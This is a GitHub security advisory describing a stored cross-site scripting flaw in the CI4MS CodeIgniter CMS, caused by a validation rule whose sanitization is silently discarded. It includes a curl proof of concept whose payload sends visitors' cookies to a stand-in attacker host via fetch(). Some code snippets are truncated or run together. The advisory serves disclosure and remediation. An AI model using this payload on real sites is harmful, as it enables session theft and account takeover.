GitHub Advisoryadvisory · Packagist
GHSA-2m69-jmvh-6chr CI4MS: Stored XSS in Blog Content via Broken `html_purify` Validation Rule
MEDIUM
Official page ↗
- Aliases
- CVE-2026-45138
- Ecosystem
- Packagist
- Packages
- ci4-cms-erp/ci4ms
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-05-18
Affected packages
• Packagist ci4-cms-erp/ci4ms: < 0.31.9.0 → fixed in 0.31.9.0
Description
Summary
The custom `html_purify` validation rule used to sanitize blog post bodies relies on by-reference mutation (`?string &$str`), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes `$lanData['content']` directly into `blog_langs.content`, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.
Details
Root cause: by-reference mutation never propagates
`Modules\Backend\Validation\CustomRules::html_purify` declares its first argument by reference:
```php
// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
if (empty(trim((string)$str))) return true;
if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
$clean = self::sanitizeHtml($str);
$str = $clean; // data`:
```php
// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) { // local $value
$this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}
// Validation.php:343-345
$passed = ($param === null)
? $set->{$rule}($value, $error) // {$rule}($value, $param, $data, $error, $field);
```
The reference mutation modifies that local `$value` only; `$this->data`, `$_POST`, and `getValidated()` keep the raw payload. The optional `getClean($original)` cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on `md5(clean)` rather than `md5(original)`.
Sink: raw POST is persisted and rendered unescaped
The Blog controller takes `$_POST['lang']` verbatim, runs it through validation (which always returns true for `html_purify`), and writes it to the database with no further filtering:
```php
// modules/Blog/Controllers/Blog.php:94-125 (Blog::new)
$langsPost = $this->request->getPost('lang'); // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...; // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => $lanData['content'], //
content ?>
```
The view is reached through `App\Controllers\Home::post*` (Home.php:238), which is an unauthenticated public route.
Trust boundary
Backend routes (`modules/Blog/Config/Routes.php`) are protected by `backendGuard` + Shield role checks, requiring `blogs.create` / `blogs.update`. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend `/blog/` is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.
Same defect in the Pages module
A previous Stored XSS in the Pages module was "fixed" by introducing the very `html_purify` rule that this advisory shows is non-functional. Pages controllers (`Pages::create`, `Pages::update`) follow the same pattern and remain exploitable.
PoC
Prerequisite: any account holding the backend `blogs.create` role (or `blogs.update` for the edit variant). Cookies obtained via the standard backend login flow.
1. Submit a blog post with an XSS payload as the content body:
```bash
curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
-d 'lang[en][title]=POC' \
-d 'lang[en][seflink]=poc-xss' \
-d "lang[en][content]=fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))" \
-d 'isActive=1' \
-d 'categories[]=1' \
-d 'author=1' \
-d 'created_at=01.01.2026 10:00:00' \
-d 'csrf_token_name='
```
2. The validator returns success (`html_purify` reports `true`), and the row is written to `blog_langs` with `content` = `...` verbatim.
3. Visit the public post URL `https://target/blog/poc-xss`. The injected `` runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.
Independent root-cause verification (run against the local app):
```bash
$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: alert("STORED-XSS-PROOF-"+document.domain)
```
That is, when the same payload is fed to the real CI4 validator with the project's rule set, `getValidated()['lang']['en']['content']` returns the unmodified `...`, confirming the by-reference sanitization is dropped.
Impact
• Stored XSS reachable by any account with `blogs.create` or `blogs.update` (delegated content-editor permission), executed in the browser of:
• every anonymous public visitor that loads the affected blog post,
• the superadmin and other backend reviewers when they open or preview the post.
• Direct consequences include theft of session cookies / CSRF tokens, account takeover via authenticated requests on behalf of the victim, content tampering, drive-by malware, and phishing of site visitors.
• Because the same broken `html_purify` rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through `Pages::create` / `Pages::update` via the same primitive — i.e., this is a project-wide regression of an already-published advisory.
• The `getClean()` cache fallback intended as a backstop is also non-functional (key mismatch between `md5(clean)` writer and `md5(original)` reader).
Recommended Fix
1. Stop relying on by-reference mutation inside the validation rule. Either (a) sanitize *at the sink* in every controller that accepts WYSIWYG HTML, or (b) sanitize after `validate()` and before persisting.
Minimal, immediate fix in the Blog controller — apply to both `new` and `edit`:
```php
// modules/Blog/Controllers/Blog.php (Blog::new, ~line 123 and Blog::edit, ~line 201)
use Modules\Backend\Validation\CustomRules;
...
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => CustomRules::sanitizeHtml((string)($lanData['content'] ?? '')),
'seo' => !empty($seoData) ? $seoData : '',
]);
```
Apply the identical change to `modules/Pages/Controllers/Pages.php` (the previous Pages Stored XSS fix relied on `html_purify` and is therefore still vulnerable).
2. Fix the cache key bug so `getClean()` actually works as a defense-in-depth backstop:
```php
// modules/Backend/Validation/CustomRules.php
public function html_purify(?string &$str = nul…
Related
Alias · CVE (1)
- CVE-2026-45138 CI4MS is a CodeIgniter 4-based content management system skeleton. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness